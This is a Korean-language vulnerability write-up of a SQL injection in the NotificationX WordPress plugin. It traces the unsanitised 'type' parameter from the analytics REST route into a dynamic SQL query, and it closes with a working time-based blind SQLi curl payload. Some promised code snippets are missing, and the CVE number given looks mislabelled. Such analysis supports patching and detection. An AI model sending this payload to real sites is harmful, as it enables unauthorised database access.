
코드 diff 검토, 취약한 함수 식별 및 curl을 사용한 익스플로잇 시연을 포함하는 WordPress 플러그인 SQL 주입 취약점 CVE-2019-1698에 대한 단계별 기술 분석입니다.
코드 참조 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

따라서 다음 파일이 이 CVE와 관련이 있습니다:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
이제 해당 파일에 취약한 코드가 있는지 확인해 보겠습니다:
insert_analytics() 함수에 초점을 맞추세요:
이 함수는 사용자로부터 오는 $request를 받아 매개변수를 추출합니다.
type그런 다음 이 값은 CoreAnalytics::get_instance()->insert_analytics() 함수에 전달됩니다:

이 코드를 트리거하려면 매핑된 경로(Analytics 클래스의 register_routes() 함수 내부)를 확인할 수 있습니다:
$this->namespace . '/' . $this->rest_base
Analytics 클래스의 생성자는 namespace와 rest_base 변수의 값을 보여줍니다:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
따라서 사용자가 제공한 type 매개변수를 허용하는 관련 (취약한) 코드는 다음 경로를 통해 도달할 수 있습니다:
notificationx/v1/analytics
그런데 익스플로잇 방법은 무엇이며, 인젝션을 위한 SQL 쿼리는 어디에 있을까요?
사용자가 제공한 type 매개변수는 다음 함수에 전달됩니다:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
이 함수를 찾아보겠습니다:
강조 표시된 파일에서 이 함수 코드를 확인해 보겠습니다:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

만약 취약점이 increment_count() 함수에 있다고 생각한다면, 완전히 올바른 방향으로 가고 있는 것입니다!
여기 사용자로부터 전달되는 $type 매개변수를 포함한 increment_count 함수가 있습니다:

이 함수는 다시 update_analytics() 함수를 호출합니다. 해당 함수를 찾아보겠습니다:


update_analytics 함수는 SQL 쿼리를 동적으로 생성하며, 검증되지 않은 사용자 입력값이 그 일부가 됩니다. 수상한 느낌이 드시나요? 그래야 합니다. 바로 이것이 취약점을 유발하기 때문입니다.
$col 매개변수는 HTTP 요청에서 사용자가 보낸 type 매개변수에 해당합니다.
$table_name은 nx_stats로 설정됩니다:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
올바른 HTTP 동사(verb)를 식별하기 위해 WordPress REST API를 활용했습니다:
http://localhost/wp-json/

/notificationx/v1/analytics API 경로는 POST 요청으로 트리거할 수 있으며, nx_id(정수)와 (선택적으로) type(문자열)을 전달해야 합니다.
기억하세요. 분석 정보는 앞서 wp-content/plugins/notificationx/includes/Core/Database.php의 다음 코드 조각을 통해 유추했듯이 nx_stats라는 테이블에 업데이트되었습니다:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

우리의 계획은 요청에 페이로드를 전달할 때 생성되는 SQL 쿼리를 확인하는 것입니다.
이제 SQLi 페이로드가 포함된 curl 요청을 다시 보내겠습니다:
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
